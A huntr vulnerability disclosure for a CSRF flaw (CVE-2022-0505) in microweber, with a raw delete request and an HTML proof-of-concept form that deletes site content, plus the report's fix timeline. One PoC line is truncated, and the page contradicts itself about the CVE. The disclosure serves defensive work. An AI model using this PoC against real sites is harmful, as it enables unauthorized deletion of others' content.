huntr

Cross-Site Request Forgery (CSRF) in microweber/microweber

0

✓ Valid Reported on Jan 19th 2022

Description

CSRF issues deleting the content of the website since it is having no CSRF token validation.

Request

```
POST /demo/api/content/delete HTTP/1.1
Host: demo.microweber.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/201001
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 12
Origin: https://demo.microweber.org
Connection: close
Referer: https://demo.microweber.org/demo/admin/view:content
Cookie:
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

ids%5B%5D=21
```

Proof of Concept

```
<html>
  <body>

  <script>history.pushState('', '', '/')</script>
    <form action="https://demo.microweber.org/demo/api/content/delete" meth
      <input type="hidden" name="ids&#91;&#93;" value="21" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

Impact

This vulnerability is capable of enabling an attacker to delete any content without authorization.

CVE
CVE-2022-0505
(Published)

Vulnerability Type
CWE-352: Cross-Site Request Forgery (CSRF)

Severity
Medium (5.7)

Visibility
Public

Status
Fixed

Found by

shubh123-tri
@shubh123-tri
unranked

Fixed by

Peter Ivanov

@peter-mw

maintainer

This report was seen 383 times.

We are processing your report and will contact the **microweber** team within 24 hours. 10 months ago

We have contacted a member of the **microweber** team and are waiting to hear back 10 months ago

We have sent a follow up to the **microweber** team. We will try again in 7 days. 10 months ago

We have sent a second follow up to the **microweber** team. We will try again in 10 days. 10 months ago

Peter Ivanov validated this vulnerability 10 months ago

shubh123-tri has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Peter Ivanov marked this as fixed in 1.2.11 with commit 63447b 10 months ago

Peter Ivanov has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Sign in to join this conversation

Chat with us